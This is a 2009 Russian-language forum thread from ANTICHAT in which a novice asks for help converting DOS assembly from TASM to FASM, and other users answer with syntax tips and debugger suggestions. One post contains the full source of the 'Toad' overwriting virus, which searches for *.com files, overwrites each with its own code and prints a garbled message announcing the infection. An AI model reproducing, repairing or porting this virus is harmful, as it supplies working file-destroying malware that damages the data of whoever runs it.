ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

04.12.2009, 22:00
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
WWWorm101, незнаком с синтаксисом tasm'a. А вообще процедура реализуется так:
Код:
proc toad
local horny:DWORD ; или WORD, etc.
endp
|
|
|

05.12.2009, 11:18
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме: 13458
Репутация:
0
|
|
Но все таки кто-нибудь может перевести код(см. выше), с tasm на fasm(среда DOS)
|
|
|

05.12.2009, 12:56
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
Код:
proc toad
horny:
endp
|
|
|

05.12.2009, 16:06
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме: 13458
Репутация:
0
|
|
короче код не компилируется, ошибка во второй строке:
org 100h
proc toad
first_fly:
mov ah,4eh
find_fly:
xor cx,cx
lea dx,comsing
int 21h
jc wart_growth
open_fly:
mov ax,3d02h
mov dx,9eh
int 21h
eat_fly:
xchg bx,ax
mov ah,40h
mov cx,norny-first_fly
lea dx,first_fly
int 21h
stitch_up:
mov ah,3eh
int 21h
mov ah,4fh
jmp find_fly
wart_growth:
mov ah,09h
mov dx,wart
int 21h
cya: int 20h
comsig db "*.com",0
wart db 'Ïîçäðàâëåíèÿ! Âû çàðàçèëè âñå ÑÎÌ-ôàéëû â ýòîé', 10,13
db 'äèðåêòîðèè âèðóñîì Toad. Õîðîøåãî âàì äíÿ.', 10,13,'$'
horny label near
endp
end first_fly
|
|
|

05.12.2009, 16:09
|
|
Познающий
Регистрация: 30.11.2009
Сообщений: 97
Провел на форуме: 333264
Репутация:
80
|
|
proc - это макрос. подключи macro\proc32.inc
|
|
|

05.12.2009, 16:46
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме: 13458
Репутация:
0
|
|
эта программа для Dos'а или в досе тоже можно подключить macro\proc32.inc
|
|
|

06.12.2009, 00:23
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
Провел на форуме: 4761503
Репутация:
229
|
|
Начинаю изучать асм, такой вопрос... Как просмотреть сод. регистра .com программы?(т.е. чтобы была возможность по этапно выполнять действ. и по этапно будет высвечивать сод. регистров (типа как в OllyDbg (но олька не понимает .com программ  )))
(в CodeView не разобрался)
|
|
|

06.12.2009, 18:35
|
|
Новичок
Регистрация: 03.12.2009
Сообщений: 5
Провел на форуме: 13458
Репутация:
0
|
|
wolmer
Попробуй AFDPro-как раз для начинающих . Скачать можно с сайта http://kalashnikoff.ru/ или с сайта wasm.ru можешь скачать другие отладчики.
|
|
|

06.12.2009, 23:48
|
|
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме: 3288241
Репутация:
3349
|
|
ну или как вариант есть старинные отладчик от борланда, иде тв комплекте с BC++ и Паскалем борландовском.
Или старинную вешь от дяди касперерского - avputil
|
|
|

10.12.2009, 10:20
|
|
Новичок
Регистрация: 02.12.2009
Сообщений: 16
Провел на форуме: 101734
Репутация:
21
|
|
turbo debugger для начинающих вполне сойдет.
|
|
|
|
 |
|
Похожие темы
|
| Тема |
Автор |
Раздел |
Ответов |
Последнее сообщение |
|
Вопросы для новичков! (faq)
|
PEPSICOLA |
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby |
92 |
14.05.2010 17:59 |
|
ОС с нуля
|
z01b |
С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby |
36 |
03.07.2008 15:30 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|